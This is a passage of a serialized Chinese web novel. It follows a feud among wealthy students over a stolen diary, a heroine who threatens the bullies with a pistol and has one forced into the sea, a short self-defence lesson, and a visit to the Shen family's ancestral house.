余笙指尖一顿,不受控制转头看去,瞬间,好不容易压制情绪又掀起了如同昨日傍晚的惊天骇浪。 关鹤手里拿着一个墨绿色的皮夹盒子,看着十分眼熟。 余笙眼锋如刃般看向对面的女生圈,其中一名女生一直低着头,不敢与她对视。 她顿时感觉遍体生寒,不是凑巧,那是她的日记本,里面每一页都夹了一张彩色书签,那些书签写满了她的少女心事。 昨晚她在医疗室接受治疗,所以,她们翻了她的房间,动了她的抽屉。 这一刻,她感觉自己像人扒了衣服在接受一场凌辱。 “叽——” 铁艺划动砂岩发出刺耳低沉的尖锐音。 余笙拍着桌面起身,挺直腰杆转身向关鹤走去。 对于她的反应,众人始料未及。 余家虽说这几年发展不错,但根基不足,余笙这个人说好听点就是有大局,说难听是善钻营,她向来不跟他们这些老牌贵族硬刚,这个态度倒是稀奇。 关鹤伸出中指将墨镜顶上额头,拿着笔记,像逗狗一样对着余笙晃了晃。 “你的?” 余笙,“是。你们未经我的允许,动我的私人物品属于盗窃行为,如果你们已经看过里面的内容,那你们已经涉嫌侵犯我的隐私,我可以起诉……” “砰——” 关鹤抬腿,一脚踹翻眼前的茶几。 他最看不惯的就是余笙这种自以为是的腔调,一个外来的野鸡家族敢这么跟他们说话? 余笙被动静吓了一跳,回过神时,眼前乌泱泱一群人像看猴一样戏耍她。 “哦哦哦,不愧是总统小姐,好大的官威啊,动不动就要起诉,吓死人了~~” “余小姐想打官司?急什么?A国历年来下台的总统转监狱的还少吗?你不妨再等一年,一年后看看你爸爸会判几年,哈哈哈哈哈……” 余笙脸色冷沉,依旧保持冷静,“现在追究的是你们盗用我私人物品的事,把东西还我。” “哈?”关鹤没想到她这么刚,努了努嘴,“你说这是你的?可是这明明是海怪给我的。你有什么证据说是你的?要不你说说上面写了什么?” 一说到上面的内容,所有人又哄笑一团,眼神暧昧嘲讽,显然是已经看过里面的内容了。 余笙紧紧握拳,深吸了一口气,努力让自己保持冷静,“关鹤,把东西还给我。” “还给你?”关鹤冷笑,随意抽了一张书签,阴阳怪气念道: “某年某日,晴。那是我第一次看见这样的人,明明光芒万丈却只能掩在砂砾灰瓦之下,但我又觉得庆幸,因为我是这个世界上唯一在他不够瞩目时就认定他会成为星星的人,沈……” “嗡——” 余笙脸色霎时惨白。 这一瞬间,她仿佛失去了思考的能力,周围的一切全部失声,海浪翻滚的潮汐声淹没了一切。 耻辱、羞愧、绝望,这些她压制很久的情绪突然反噬,如潮水过境般湮灭了她。 “哗啦——” 关鹤嘴巴正要念出第二个字,冷不丁被人迎面泼了一杯冷水。 苏韵冲进人群,拉着余笙的手义无反顾挡在她面前。 “你们真是可耻!” 关鹤愣了愣,反应过来后瞬间暴跳如雷,“草!苏韵,你敢泼我?” 苏韵拿起手里的水杯对着关鹤的脸直接砸了过去,“泼了就泼了?怎么!还要选日子?” …… 某天刷DY刷到一个蛮符合心中沈园意境的效果图(不过,我心中的沈园主厅只有两层 ),给大家参考一下,如有侵权请联系我。 第663章 苏韵的秘密 “砰——” 水杯落空,一声炸响四分五裂。 真砸?! 众人霎时倒吸了一口凉气。 刚刚要不是关鹤反应快侧身躲了过去,现在已经见血了。 苏韵从回到苏家后,一直都很低调,从不与人交恶。圈子里的人还曾偷偷嘲笑过她,草根长大的千金上不了台面,没想到,这次竟然为了余笙直接跟所有人干上。 关鹤看着脚下的玻璃,缓了半天才缓过神,咬牙切齿,“你他妈还敢砸我?!” 苏韵冷笑,“砸了?你想怎样?想把我也丢进海里然后再嫁祸给子虚乌有的海怪吗?但你别忘了,我可不像韩洋那么好欺负,我爷爷也不像韩墨那么好敷衍,你要不要试试?” 余家威望不够,但苏家绰绰有余,鲸港三个老牌贵族,苏家虽不是魁首,但也轻易惹不得,傅家就是最好的例子。 关鹤微微眯眼,他原以为这两人是假玩,没想到苏韵竟然真帮余笙出头,关键这死女人竟然还牵扯出了韩洋的事? 她怎么知道韩洋的事和他有关,难不成是真看见了? 不对,也有可能是诈他的。 摸不准什么情况,关鹤有些投鼠忌器,暂时没有接话。 围观的群众见他脸色不好,纷纷帮着说话。 “苏韵,说话要讲证据,韩洋出事的时候当时有不少目击者,你要帮余笙说话也别随便污蔑人。” “就是,大家说话就说话,你莫名其妙动手是不是有些过分了?别以为你是女生,撒泼就有理了!” 苏韵深知这些人的丑恶嘴脸,当初她还是低贱的苏韵时,他们想着办法的作践她,她早就想报仇了。 “有理没理,这泼我今天就撒了,你们要怎么样?比家世还是比有钱?还是比谁在家里更受宠,你们出来个人,或者,你们要一起?”苏韵冷笑,拿起桌上的酒瓶对着人群随意砸了过去。 被下了面子的众人脸色阴沉,难看得不行。 “苏韵,你别太嚣张,你是不是好日子过久了,忘记你给阿珩哥当狗的时候了?!” 苏韵指尖一顿。 说话的男生满脸嘲讽,冲在人群面前指着她,“装什么千金大小姐?当初你扒光衣服求阿珩哥的时候还是我关的门。” 关鹤微愣,立马转头看向苏韵。 苏韵嘴角凝固,拿起手里的酒瓶对着男生脸砸了过去。 “啊!” 惨叫声立马响彻餐厅。 苏韵手一直在抖,她没有解释也没有反驳,扔了酒瓶转身拉住余笙,“走吧。” 余笙缓缓低头,怔怔看着扣在手腕的指尖由红变白,她能感受到苏韵在害怕。 难怪,每次看见周宴珩苏韵都会绕道而行,可即便她那么害怕,还是会善意提醒她远离恶魔。 所有人都说苏韵是幸运的,贫民窟的女孩儿最终回到了她的轨道,麻雀变凤凰像童话一样。 但不是当事人,又怎么能明白她回来的路上遇到过多少艰辛呢? 一个貌美又贫贱的女孩儿,她单单只是保护好自己就要花费所有的力气,但苏韵同时坚持修养了自己。 不是所有人都像姜花衫一样命好的,所以,当有人指责苏韵恶毒不择手段时,余笙共情的是一个想爬出泥潭改变自己命运的女孩儿的灾难。 * “衫衫……” 姜花衫、傅绥尔、苏妙三人早就到了,原本关鹤读余笙日记,傅绥尔就已经看不下去了。 在她眼里,余笙是个强大且值得尊重的对手,她不希望她的对手被这种下三滥的手段打败。 但苏韵比她们更快挺身而出,原以为事情到这就结束了,没想到还有更恶劣的事。 苏妙看着那样的苏韵,沉默了许久,轻轻拉了拉姜花衫,“能不能帮帮她?” 她现在已经不是苏家大小姐,这些人如此恶劣,即便她有心也震慑不住。 姜花衫拍了拍她的肩膀,直接抬步往人群走去。 即便不是为了改变剧目,这种事她也绝对是零容忍。 “说什么呢?这么热闹?” 姜花衫双手抱胸,一副好奇宝宝的模样加入纷争。 在场所有人看见她,顿时脸色大变,就连抱着头鬼哭狼嚎的男生都捂住了嘴尽量减少自己的存在。 关鹤收敛神色,明显有些不自然,“你来干什么?” 姜花衫撩了他一眼,指着最近的男生,“你,去给我搬张椅子。” 男生看了关鹤一眼,扯着脖子,“我凭什么……” 姜花衫,“不去,明天你家就破产。” “……” 男生瞬间没了骨气,忙不迭冲出人群,扛了张又大又软的沙发椅,“大小姐,您坐。” “……”关鹤白了两人一眼,站起身就要走。 姜花衫随手往脚下抓了一把沙子对着关鹤砸了过去,“我让你走了?” 关鹤挑眉,嗤笑了一声,双手叉腰,“我就走!有本事你让我家明天也破产?” 姜花衫,“我不仅能让你明天破产,我还能让你换个地方进修,让你关家后继无人,要不要试试?” 关鹤嘴角瞬间凝固。 姜花衫这是在点他开地下赌场的事。 狗东西,当初明明说好了帮她除了沈执,这事就一笔勾销,结果这狗逼没有一点契约精神,动不动就拿这件事威胁他。 烦死了! 关鹤仿佛一头炸毛的二哈,心不甘心不愿坐了回去。 就这一回合,围观的众人立马觉察出了一丝诡异,姜花衫三言两语就让关鹤低头,显然是抓住了关鹤致命的把柄。 果然,鲸港嫡公主出手就没有空招。 余笙和苏韵愣了愣,两人相互对视一眼,眼神复杂。 她们和姜花衫从不亲近,她这个时候出手,两人一时看不透。 姜花衫从头到尾都没有看她们一眼,笑容和蔼朝关鹤招手,“手里拿着什么?给我看看?” 余笙脸色微变,不受控制看向姜花衫。 关鹤低头看了看手里的笔记本,忽然想到什么,挑眉打量余笙,见她一直盯着姜花衫,忽然不怀好意笑了起来,“怎么?你也对海怪送我的礼物感兴趣?想看?行~给你个面子。” 说完,拿着笔记本对着姜花衫抛了过去。 他故意使了巧劲,笔记本抛在上空时,夹在里面的标签自然脱落,如雪花四散飘落在空中。 …… 第664章 以恶制恶 -【某年某月,晴。听说他去了南湾海舰队,我的心一直扑通跳个不停。因为我知道,很快就会有更多的人看见他的光了。我既高兴又惶恐,因为他不再是我一个人的秘密了。】 -【某年某日,雨。鲸港连续下了几天的雨,我守在电视机前,却一直不敢看打开声音,因为我真的很害怕,突然听见他葬身火海的消息。那一刻,我竟然如此狭隘,忽然觉得功名利禄都不重要了,人活着就行。】 -【某年某日,晴。我都要变得不自信了,是我长得不好看吗?还是我不够优秀?为什么他总是看不见我?快看见我啊!沈归灵……】 -【……】 姜花衫抬手,一张便签落在她的掌心,她扫了一眼,面无表情弯腰捡起掉落在脚边的笔记本,小心翼翼夹好。 书签散落满地,余笙狼狈往后退了一步,眸光黯然。 “噢~”关鹤做出一副惊恐又害怕的表情,“不好意思啊,刚刚手滑了,不过~已经还给你了。” 苏妙实在看不下去,正要上前被傅绥尔拽了回来。 “别急啊,这种人让衫衫收拾。” 苏妙自然是百分百信任姜花衫的,低头看着脚下的标签,神色复杂。 这里所有人,大概只有她能懂余笙吧。 因为她也曾不受控制地喜欢过沈归灵。 虽然现在那份喜欢已经转变,但少女时代的怦然心动本来就是美好且不可描述的秘密。 余笙大概也是被沈归灵惊艳过,所以才会有这么多酸涩的喜欢。 这群人竟然这么践踏别人的喜欢! 苏妙沉默片刻,蹲下身,挨个捡起地上的便签。傅绥尔见状,也跟着一起捡。 姜花衫合上笔记本,轻轻抚摸泛着幽光的绿皮书,抬头看向关鹤。 “你刚刚说,这个是海怪给你的?你见过海怪?” 关鹤原以为姜花衫会暴怒,没想到她这么平静,还一本正经跟他谈论海怪。 他顿时警铃大作,一脸防备,“昂?怎么?” 姜花衫点头,有问:“听说银星银行那个二世祖出海失踪了,你们说是海怪抓走了?” 关鹤生怕姜花衫给她挖坑,当即否认,“我可没说,不知道谁说的。” 姜花衫抬头,随便指着某个人 ,“那是你说的?” 那人顿时急得满头大汗,“不……不是我。” 姜花衫又转头看向其他人,“你?” 围观的人不知道她想干什么,没一个敢认,头摇地跟拨浪鼓似的。 “都不知道,那么说就只有你一个人看过海怪了?难不成你真是天命之人?”姜花衫转了一圈,目光又重新落回关鹤身上。 关鹤硬着头皮,“那可不?” 姜花衫点头,“我还没见过海怪,好奇的很,要不,你现在去海里把它叫上来,顺便再问问它,是不是它把韩洋抓走的?” “……” 问个屁啊? 但凡有点智商的都知道他这是耍人玩的,这海里只有鲨鱼,哪来的海怪? 跟姜花衫打了这么多回交道,关鹤已经吃瘪吃出经验了,直觉不妙当即站身,“别想了,海怪出门旅游去了,它那天就是来跟我告别的。” “站住,我让你走了吗?” 关鹤皱眉,狐假虎威,“怎么着?你管天管地还能管着我的腿?” 姜花衫笑了笑,打开斜挎的小花编织包里,在众目睽睽之下不按常理出牌,缓缓掏出一把军制手枪。 “现在呢?能管吗?” “……我草。”关鹤足足懵了三秒,反应过来直接跳脚大骂,“你他么这抢哪来的?你们沈家真是没完没了是吧?” 这个圈子哪有一个像姜花衫这样的,一言不合就掏枪? A国不是禁枪吗?怎么禁不死她?! * 与此同时。 平风浪静的海面飞过成群结队的海鸥。 沈归灵正坐在甲板上吹风,身边的警卫有些为难抓了抓头。 “长官,要不咱们还是再去岛上找找吧?您就去过那么几个地方,应该很容易就找到了。遗失配枪过失不小,要是报上去您肯定会处罚的。” 沈归灵,“找过了,找不到。” 警卫,“……” 哪找了?从知道枪丢了之后,这位长官大人一直在这晒太阳,腚都没挪过 * “姜花衫,你这枪哪来的?我劝你不要轻举妄动啊,别搞啊!” 关鹤虽然不想怂,但姜花衫战绩彪炳,十五岁就开枪打死过两个成年悍匪,面对这样一个随时发癫的人,他不怂不行。 围观众人原本还想帮关鹤说话,但见姜花衫直接从卡通包里掏出一把手枪,吓得直接倒退三步,为免惹火上身,转身就要跑。 不过姜花衫根本不打算放过这一群蛀虫,她要立规矩,这群人正好拿来开刀。 “砰——” 她单手打开保险,朝天开了一枪。 “谁敢跑,第一个死。” 话音刚落,所有人像被按下了暂停键,身体僵硬定在原地。 余笙和苏韵也吓懵了,她们终于知道为什么那么恶的人看见姜花衫都要绕道走了,她真豁得出去。 关鹤脸色铁青,“姜花衫,你到底想干什么?” “不干什么?我不是说了吗?我想看海怪,所以麻烦你下海把他请上来。” 关鹤冷笑,“耍我?有意思吗?” 姜花衫笑了笑,“现在知道害怕了?刚刚对着我砸书的时候不是很嚣张吗?” * “阿珩哥!阿珩哥!” 周宴珩正在电脑前分析眼前的一串数据,忽然门外传来砰砰砰的砸门声。 他抬眸往房门的方向扫了一眼,思忖片刻关了屏幕,起身开门。 “怎么了?” 男生顶着一张被血水污染的脸,一把鼻涕一把泪,“姜……姜花衫,好可怕!她好可怕!珩哥,你快去救救鹤哥!” 周宴珩听见这三个字眼皮莫名抽搐,“阿鹤又惹她了?” “没惹她,是她先找茬的,她把阿鹤哥丢进海里了。” 周宴珩皱眉,“为什么丢海里?” “她让阿鹤哥给她找海怪,还说找不到不许上岸。” 周宴珩,“……” …… 第665章 你不好玩 海面远远地铺展开来,无垠的碧色漫向天际。 金色沙滩带上围满了喧闹的人群。 姜花衫怀里抱着一个冰椰子,怕被晒伤,头上撑了把巨型遮阳伞,脸上还戴了一副小花墨镜,整个装扮嫩得能掐出水,要是手里没拽着把枪的话。 “姜花衫!!咕噜……放……放我上来!!” “放不了。”姜花衫吸了一口椰子水,拿枪指着岸边的纨绔们,“拦好,你们谁要敢放水让他上来,那就自己下水代替他去找海怪。” 被点名的众人立马哭丧个脸,默默在心里骂了这疯子一百遍。 姜花衫也是够阴损,给逼着他们一起联合把关鹤丢下了海,这就算了,最缺德的是她还让他们每个人手里拿个船桨,只要关鹤敢往岸上游就用船桨拍他的头。 一开始,纨绔狗腿们还是很有骨气的,表示怎么都不会受她挑唆,直到姜花衫一梭子打爆了餐厅的入口的玻璃门,所有人才乖乖听话。 “阿鹤哥,你别往我这来啊,你去那边游。” 所有狗腿的心情都是复杂多变的,他们也不想得罪关鹤,但要是不得罪死的就是自己,本着死道友不死贫道的原则,他们驱赶地十分卖力。 “……” 关鹤这辈子都没这么窝囊过,气得暴跳如雷,“你们这些狗东西,等老子上岸非弄死你们不可。” 狗腿们一边奋力挥舞手上的船桨一边冷静分析,“阿鹤哥,姜花衫就是想挑拨离间才让我们自相残杀,你可千万别上当了!” “……” 关鹤被这些狗腿子气笑了,“草,你们倒是一起抡她啊。” “我们不敢啊,她手里有枪。” “枪法又准。” 上一个摸鱼的,刚刚已经被她踹下去关鹤了。 凶残! 真的好凶残。 “怎么下海半天了还没有一点动静?”姜花衫抱着椰子起身,慢悠悠走进海岸线,“我看看,到底是谁在摸鱼。” “!”众人顿时两股颤颤,像打了鸡血一样抡着船桨往海岸上砸,心里一直给自己默念打气:死道友不死贫道,死道友不死贫道…… “???” 关鹤人还没反应过来,就感觉眼前居然卷起了千层浪,也不知是谁的桨,吧唧一下重重敲在了他的脑门上,关鹤原本还能勉强浮在水面,咕噜一下半沉了下去, 若说之前还是在闹着玩,演变成这样事态明显有些不对劲了。 余笙担心事情闹大,犹豫片刻主动上前说话,“教训教训就算了,为了这种人搭上你自己不值得。” 姜花衫没有接话,转头看见周宴珩带着一堆人往这边过来,她立马一把推开余笙,“跟你没关系,闪开。” 余笙不防,被推得连退了几步,还想再劝,周宴珩已经走进了人群。 “你们在做什么?” 站在沙滩边‘替天行道’的狗腿们见撑腰的来人了,立马扔了手里的船桨,纷纷跑上周宴珩身后战队。 “阿珩哥,不关我们的事啊,是姜花衫拿着枪威胁我们。” 关鹤被那一桨打得眼冒金星,连呛了好几口海水,一边折腾一边怒骂,“阿珩!救我!这狗鳖想弄死我。” 周宴珩看了姜花衫一眼,想说什么又忍了回去,回头朝身后带来的人使了个眼色,“还愣着做什么?还不下去救人。” “等会儿!他还没把海怪叫上来,谁都不准掺和这件事。” 姜花衫抱着椰子,一马当先直接拦在周宴珩面前。 周宴珩没想到闹成这样她还不罢手,冷着脸,“再闹下去,谁都别想好过。” 姜花衫笑了笑,翘着兰花指摇了摇食指,“是只有你们不好过,而已。” 敢设计谋害女王,她不扒周宴珩一层皮这口气怎么咽得下。 上一世,她并不知道周宴珩和什么利维坦之陨落有关联,所以从头到尾并不知道有这个组织的存在。她和周宴珩是二十岁生日宴之后才闹翻的,若是上一世这个组织也存在,那么上一世周宴珩是和她闹掰之后才进来的组织。 所以,他才故意接近沈眠枝,甚至逼得沈眠枝跳楼自杀。 周宴珩皱了皱眉,淡淡平视她的眼里的戏谑,偏了偏头。 身后众人当即明白他的意思,立马动身。 姜花衫嘴角的笑容渐渐凝固,突然发难,举起手里的重壳椰子对着海里的关鹤砸了过去,“我都说了,不准!不准!你们听不懂吗?” “砰—咚—” 一声闷响,关鹤顿时眼前一黑,鼻腔鼓着气泡慢慢沉进了海里。 “……”周宴珩顿时脸色微变,一把拽着姜花衫,“你疯了?” 说着,大动肝火朝围观的人怒道,“还不下去救人,都想死吗?” 他极少在公众场合动怒,这么失控显然是被气得不轻。 依附周家实力的众人不敢这个时候触霉头,想也没想纷纷跳进海里救人。 “放手。”姜花衫用力甩开周宴珩的手,皱着眉活动腕关节。 众人在海里上上下下游了几圈却不见关鹤,但是脸色大变,纷纷浮出水面。 “阿珩哥,阿鹤哥不见了?” 周宴珩愣了愣,盯着海面看了许久忽然想到什么,转身挡在姜花衫面前,“你把阿鹤藏哪去了?” “你少冤枉人啊,他刚刚不是还在那吗?大家伙都看见了,我就丢了个椰子,人不见了关我什么事?哦!”姜花衫捂着嘴巴,像是忽然想到什么,一脸无辜,“我知道了,一定是海怪,他又偷偷找海怪玩去了。” 周宴珩被气笑了,低头贴着她的耳畔,“你想玩什么我奉陪,别把阿鹤扯进来。” 姜花衫努嘴摇头,娇俏的桃花眼噙着细碎的星光,“才不好,你哪有他好玩?你掉进水里连声救命都不会喊,哪像他、叫得比打断腿的狗还起劲?” 周宴珩缓缓抬起眼帘,浓密的睫毛极轻微地一压,在眼睑下方投下一小片更为深重的阴影,瞳孔深处,仿佛有幽暗的礁石在无声地显露。 姜花衫并不怕他,抬手晃了晃手里的枪,“瞪我也没用,关鹤也回不来咯~~~” …… 第666章 不怀好意 见过嚣张的,没见过这么嚣张的。 说实话,在场众人见姜花衫这么挑衅周宴珩都替她捏了把冷汗,生怕周宴珩被气得失去理智抢过她手里的枪给她一梭子。 海边的浪声一声高过一声,众人的呼吸也一声轻过一声。 周宴珩保持着那个姿态,下颌的线条却无声无息地绷紧了,片刻后,他抬手抓住眼前的枪支,指节微微蜷起,透出隐忍的力道。 目光再次划过姜花衫眼里的恶劣时,他扯着嘴角,用另一只手顶着姜花衫的胳膊,在她手腕脱力的瞬间掰过她的胳膊,卸子弹扔进海里。 “谁教你握枪的?连枪都拿不稳?” 不等姜花衫反应,他直接越过她,冷声下令,“愣着做什么?今天要找不到人,你们一个都别想上来。去,把蔡严叫过来。” “……” 姜花衫低头看了看手心的手枪,挑了挑眉,抬手招呼傅绥尔和苏妙,“走吧,这里晒死了。” 余笙原本想说什么,但姜花衫并没有给她机会,眼皮都没抬直接走了过去。 苏韵见状,拉住余笙摇了摇头,小声道,“关鹤要是出了事这件事就麻烦了,她这个时候不理我们,反而是好意。” 余笙看着姜花衫的背影,她的小花包里还兜着她的笔记本,余笙神情复杂,“我知道。” 这么浅显的道理,她又怎么会看不明白? 但姜花衫毕竟帮了她,而且之前她还救过自己一面,她只是觉得于情于理都应该当面谢谢她的。 * 海滩上的人影乱作一团,众人捞了一圈不见人影,转头见姜花衫像没事人一样,与人有说有笑,顿时气得心梗痛。 “阿珩哥,你真就这么放她走了?阿鹤哥怎么办?” 周宴珩侧身看向姜花衫的背影,眼睑微眯。 就算她胆子再大,也一定不敢当着这么多人的面对关鹤做什么?人一定在她手里。 但有一点,他怎么都没想明白。 姜花衫之前从不主动招惹她,但这次明显是冲着他来的,这其中一定有问题。 忽然,他灵光一闪,眸光微暗。 难不成她知道了什么? 沈年说沈亦杰是因为想暗杀姜花衫,结果被沈归灵撞见失手误杀的,也就是说,沈亦杰临死前和姜花衫有过交集,会不会是那个时候泄露了什么? 如果,她知道了未央台谋杀策划,那么她现在的敌意就说的通了。 她想替沈娇报仇? * 关鹤落水是上午十点钟左右,警署厅和南湾海舰动用了所有人力,但一直到下午三点,人依旧没有任何消息。 这件事的性质极其恶劣,而姜花衫因为当众开枪、威逼同学跳海种种恶行,下午两点就被警署厅逮捕暂时关在了南湾巡航舰的审判室接受调查。 对于这个结果,众人的反应是。 “………………” * 与此同时,审判室的豪华单间里。 姜花衫拍了拍身下软软的橡胶床垫,略有不满,“你怎么让蔡严把我抓起来了?周宴珩那个狗东西下一步一定会有动作,这个时候把我关起来我还怎么搅局?” 沈归灵正在调试手枪,但还是耐心解释,“你闹出这么大的动静,不抓你难以平众怒。” 说着,他将弹匣卡好,拉上保险栓后朝姜花衫招了招手,“过来。” “怎么了?” 姜花衫起身,正要接过手枪,沈归灵长臂一揽将她拥在怀里。 “你……”姜花衫以为这家伙又恋爱脑犯了,正要推开他,沈归灵抬手扳正她的肩膀,将手枪塞进她的手里后,一把抓着枪械的顶端,就像周宴珩之前那样。 “要是有人这样抓着你的枪,试图夺枪时,正确的应对方法是:爆发性地将身体重心向后退或向下沉,同时用力向后拉拽枪械,目的是打破对方双手的抓握合力,制造哪怕一瞬间的空间。” 姜花衫微怔,这才反应过来,沈归灵是打算教她如何保全自己。 沈归灵托住她的手,慢慢引导,“在努力控制枪支的同时,不要忽略用其他身体部位攻击对方。可以用脚猛踹对方的膝盖、胫骨或裆部;用头撞击对方的面部;用空着的手击打对方的眼睛、咽喉或颈部;目的是分散其注意力,削弱其控制力,制造逃脱或完全控制武器的机会。” 姜花衫挑了挑眉,“像这样吗?” 趁他不注意,她身体忽然下沉,以拖拽枪支的瞬间以极其刁钻的角度对着沈归灵的裆下踹了过去。 “?” 沈归灵额角抽动,一把扣住她的腰身夹着她的腿将她按在怀里。 姜花衫瞬间暴起,张口对着沈归灵的脖子动脉咬了下去。 当然,这只是演示,她也只是示范。 沈归灵身体微微僵硬,撩着眼睑低睨她。 姜花衫咧嘴一笑,“我会~我骗周宴珩的,下次他还以为能抢我的枪我正好给他一枪。” 她握枪的姿势是周宴珩手把手教出来的,说起来,周宴珩也是倒霉,上一世他不仅教了她进攻还教了防守,别人她未必百分百能防住,但他绝对可以。 见她笑得一脸得意,沈归灵松开手上的桎梏,抬手扣住她的脖子低头吻了上去。 “谁教你这么咬人的?” “……怎~~~……怎么?不~~对?” 沈归灵,“不怀好意。” “……” 第667章 蛛丝马迹 襄英,沈家老宅。 夏日灼光热烈而明媚地直射而下,光影如同有形有质的金液,泼洒在青苔灰瓦的屋宇上,给老宅的沉闷染上了明晃晃的亮色。 “吱呀——” 厚重的楠木雕花门发出沉滞的一声,缓缓向内打开了。 门缝里先探出的是一只骨节分明的手,稳稳扶在深褐色的门框上。那手背肤色冷白,指节修长,在灼烈日头下仿佛一截上好的寒玉,一根极细、极正的红丝带松松系在冷白的手腕上,好不惹眼。 沈兰晞从容地跨出门槛,立于檐下掩好门才转身往阁楼方向走去。 光影在岁月沉淀的青石砖上一路流转,他穿着一身月白锦缎的改良宋制长衫,料子极好,在倾泻而下的强光里流淌着沉静内敛的珠光,眉骨如削,鼻梁挺直,唇线薄而清晰,下颌的线条收得利落干净。 路过的余荫、碎光无不垂青,纷纷落在那张俊美到生人勿近的脸上。 阁楼前,高止叼着狗尾巴四处张望,远远看见沈兰晞立马撒欢跑了上去。 “少爷。” 沈兰晞随意扫了一眼院门,“有人来了?” 高止点头,“按辈分那些人都是您的长辈,我不好拦。” 沈兰晞神情淡淡,抬步直接往阁楼走去。 刚进院子,坐在凉亭上的众人立马站了起来,笑容和蔼围了上来。 “兰晞,回来了怎么也不说一声?我们也是听见祖宅的佣人说起才知道。” “听高止说你刚刚是去看武太奶了?太奶奶自小最疼你了,你能来她老人家肯定高兴。” 沈兰晞目光在众人之间逡巡了一圈,说话的都是族里的叔伯婶娘,小时候他来祖宅都见过,还有印象。 他勉强算是温和,点头回应,“原本打算等家里安排好一块儿来的,但营里提前了调令,我就先过来了。” 沈兰晞一年前,因乌拉战功直接调入了313师主军部,这事当时还上了A国的时政报刊头条,是故族人们也都知道。 当年,沈玺就是凭着在313师一路杀上军总司令,都说虎父无犬子,现在别说鲸港沈家,就是整个沈氏家族都对这位太子爷寄予颇高。 众人越发寒暄,围簇着沈兰晞入亭。 “兰晞啊,你这次来了就多住几天吧,武太奶的身体一日不如一日,有你陪着,她老人家也能少些遗憾。” 沈兰晞在族中地位不俗,虽然来的都是长辈,但个个都巴不得把他当祖宗供着。几个婶娘相互看了看自家男人的脸色,纷纷识趣退回一边,双膝并拢跪坐在团蒲上沏茶。 “好了好了,你们一个个的十张嘴,让兰晞怎么回答?”主桌的男人双鬓斑白,年事已高,笑呵呵看向沈兰晞,“兰晞,你爷爷近来身体可好啊?” 问话的是沈庄的堂兄,沈钧,当年沈氏鲸港一族近乎灭门,只剩沈庄一人独撑门庭,其他表亲不但没有施以援手,还联合外人想逼死沈庄侵吞沈家私产,是沈钧违背族人意愿悄悄给沈庄通风报信,才助他躲过一截。 沈庄感念沈钧的恩情,得势那日驱逐了沈氏叛变族人,将族中的大小事务都托付给了沈钧,而沈钧这一脉也因为与鲸港沈家来往密切,在襄英名望颇高。 沈兰晞上前见礼,态度谦卑,“叔公安好,劳诸您挂念,爷爷一切都好。” “那就好。虽然我们常年不在鲸港,但一笔写不出一个沈,若是家里有什么需要帮衬的你只管开口,莫要生份。” “是。爷爷嘴上不说,但心里也一直记挂着叔公,您若是愿意,这次不如同我一起回鲸港?” 这话一出,其他沈家众人立马眼前一亮,入了沈园那就是等于泼天的富贵砸头上。 沈钧摆摆手,“诶~还是算了,鲸港水汽重,我年纪大了,只怕去了不适应,襄英就很好。” 在位众人眼里光瞬间熄灭,默默看了老人一眼,失望之情溢于言表。 沈钧只当没看见他们的脸色,双手拄着拐杖,细细打量沈兰晞,“嗯,瘦了。军旅生活还习惯吗?” 沈兰晞言简意赅,“都好。” 沈钧都知道沈兰晞清冷疏远的性格,并未见怪,又问,“眠枝和绥尔呢?许久没看见她们了,怪想念的。还有澜兰,你爷爷有没有说什么时候把人接回来啊?” 沈兰晞神情微动,不动声色应道,“爷爷自有打算。” “哼,他有什么打算,我看他就是老糊涂了。自个儿的孙女不好好养,费劲去收养个别人的孩子,还宠得无法无天,现在所有人都管那孩子叫什么鲸港嫡公主,咱们沈家的血脉反而还不如一个外头的,像什么话?” 沈庄对沈家其他人来说是定海神针,但对沈钧来说,不过是一起捉蝉斗蛐的幼弟,他自小守着族中戒规长大,有些规矩是刻在骨血里的,就算是沈庄也不能动摇。 众人脸色微变,赶紧打圆场,“怎么都说话,不喝茶?茶呢?” 负责泡茶的婶娘们见缝插针,当即奉上泡好的茶汤,“知道你来了,你叔公特意把珍藏多年的好茶都拿了出来。” 话落,一个年轻的女人刻意绕到沈兰晞的左手边,将手里的钧窑玫瑰紫釉斗笠盏放在他的下首位。 沈兰晞顺手接过时微微一愣,掀眸打量身侧的女人。 “这位是?” 女人没想到沈兰晞会突然关注自己,连忙低下头,一旁的二婶娘见状立马引见,“这是你堂兄新娶的媳妇。” 族中新妇怎么会知道他惯用左手的习惯? 沈兰晞低眸,目光落在手里的茶盏上,思忖片刻端杯抿了一口,淡淡道,“堂兄结婚了,怎么没听爷爷说起?” 二婶娘看了沈钧一眼,温声道,“也不是什么大事,就怕给你们添麻烦。” 沈兰晞不喜客套,放下茶盏,“高止,去备份新婚礼。” 二婶娘顿时喜形于色,但她不敢应承,偷偷看向自己的丈夫。 沈兰晞知道老宅的规矩多,抬眸看向对面的老人,“叔公。” 沈钧摆摆手,“既然是兰晞的一番心意,你们就收下吧。” 闻言,二婶娘立马又端着茶盏主动给沈兰晞添茶,二婶娘的姿态比新妇更标准,提壶、起落、注水一气呵成,不知道为什么,沈兰晞总觉得二婶娘泡茶的手法似曾相识。 总觉得,好像在哪里见过? …… 第668章 荒唐的疑惑 沈兰晞一时无解,又转头看向下首位跪坐在团蒲上的其他女人,她们个个茶艺精湛,姿态优雅,就像是人用刻度尺标记了一般。 二婶娘见他看得认真,笑道,“兰晞什么时候娶媳妇啊?你若娶了媳妇可一定要告诉我们。” 沈钧,“那是自然,兰晞是我沈家未来家主,他的婚事全族都必须参与。沈家规矩,新妇必须入祖宅学规矩,早前我同你爷爷说起过,别的不管,但你的媳妇这规矩不能废,你责任大,担子重,若娶个媳妇不能替你分忧还不如不娶,你爷爷竟骂我老顽固,你可不能跟你爷爷一样。” 沈家新妇? 沈兰晞只觉一直蒙在眼前的雾好像散了一些,他知道为什么自己觉得似曾相识了。 去年生日宴上,姜花衫给宾客泡茶时的姿势和老宅这些沈家妇如出一辙,但她更为洒脱肆意些。 沈兰晞看着手里的瓷盏,轻声道,“我觉得这茶与我在鲸港喝的格外不同,是有什么讲究吗?” 沈钧,“鲸港里都是功名利禄,哪有一杯真正的好茶?你若喜欢,以后你婶娘她们认真教你媳妇,沈家不管是女儿还是新妇,老祖宗留下的规矩都是要学的。” 沈兰晞没有接话,转头看向二婶娘,“此前,绥尔和衫衫不服管教被爷爷罚来襄英学规矩,那个时候也是二婶娘亲自教导吗?” 二婶娘依旧是先看了沈钧一眼,才小心应答,“原本是说好了让我给她们立规矩的,但武太奶说两个小女孩年纪小,现在又不嫁人怕用规矩把人吓住了,不同意,最后是武太奶亲自教的。” 